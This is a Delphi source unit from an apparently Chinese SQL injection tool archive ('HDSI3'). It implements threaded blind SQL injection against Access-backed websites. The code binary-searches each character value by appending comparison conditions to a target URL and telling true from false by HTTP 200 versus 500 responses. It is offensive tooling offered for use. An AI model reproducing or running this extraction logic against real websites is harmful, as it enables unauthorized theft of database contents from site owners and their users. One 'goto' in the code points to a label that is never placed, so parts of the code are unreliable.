threadrecdataacc.~pas

sql inject HDSI3--delphi.rar

unit ThreadRecDataACC;

interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,idhttp,StrUtils;

type
  TThreadRecDataACC = class(TThread)
  Function  UnicodeToStr(intUnicode:integer):string;
  function CommonCheckStr(URL_check:string):boolean;   //检验是否存在网页
  function CommonGetChar(URL_check:string;minv,maxv:integer):string; //折半算法
  private
  procedure UpdateThread;
  published
  procedure Execute; override;
  public
    FURL          : String; //URL
    min_num       : integer;   //最小值
    max_num       : integer;  //最大值
    complete      : boolean;
    sResult       : string;

end;

implementation
uses
main_unit,CJdatabase_unit,define_unit;
//******************************************************************************
procedure TThreadRecDataACC.Execute;
var

    ss:string;
    i:integer;
    count:integer;
begin
    //sleep(1000);
    complete:=false;
    Form_main.Edit3.Text:=inttostr(strtoint(Form_main.Edit3.Text)+1);
    ss:=CommonGetChar(FURL,min_num,max_num);
    sResult:=UnicodeToStr(strtoint(ss));
    complete:=true;
    Synchronize(UpdateThread);

end;


//******************************************************************************
procedure TThreadRecDataACC.UpdateThread;
begin
    Form_main.Edit1.Text:=inttostr(strtoint(Form_main.Edit1.Text)+1);
end;

//*****************************************************************************

Function TThreadRecDataACC.UnicodeToStr(intUnicode:integer):string;
var
wStr: WideString;
begin
try
  SetLength(wStr, 1);
  wStr[1]:=WideChar(intUnicode);
  Result:=WidecharToString(pWideChar(wStr));
  except
  Result:='';
 end;
end;
//******************************************************************************
function TThreadRecDataACC.CommonGetChar(URL_check:string;minv,maxv:integer):string; //折半算法
 var
   midv:integer;
 begin
    while true  do
       begin
          Form_main.stop_column:=true;
           midv:=(maxv+minv)div 2;
        If CommonCheckStr(URL_Check + '>' + inttostr(midv) + form_main.URL_Check_End) Then
           If MaxV - midv = 1 Then
               begin
                CommonGetChar:= inttostr(MaxV);
                    exit;
                    end
                    else
                      MinV:=midv+1
                 else
               if MaxV-midv= 1 Then
                 begin
                  CommonGetChar:= inttostr(midv);
                     exit;
                  end
                  else
                     MaxV:= midv;
       end;
end;

function TThreadRecDataACC.CommonCheckStr(URL_check:string):boolean;   //检验是否存在网页
var
i:integer;
label start;
  begin
   Form_main.stop_column:=true;
     if  CJdatabase_unit.Inject_methord=1 then
     begin
          i:= define_unit.GetURLCode(URL_check) ;

          if i=200 then
              CommonCheckStr:=true
               else
                begin
                  if i=500 then
                    CommonCheckStr:=false
                      else goto start;
                end;
     end;
  end;
end.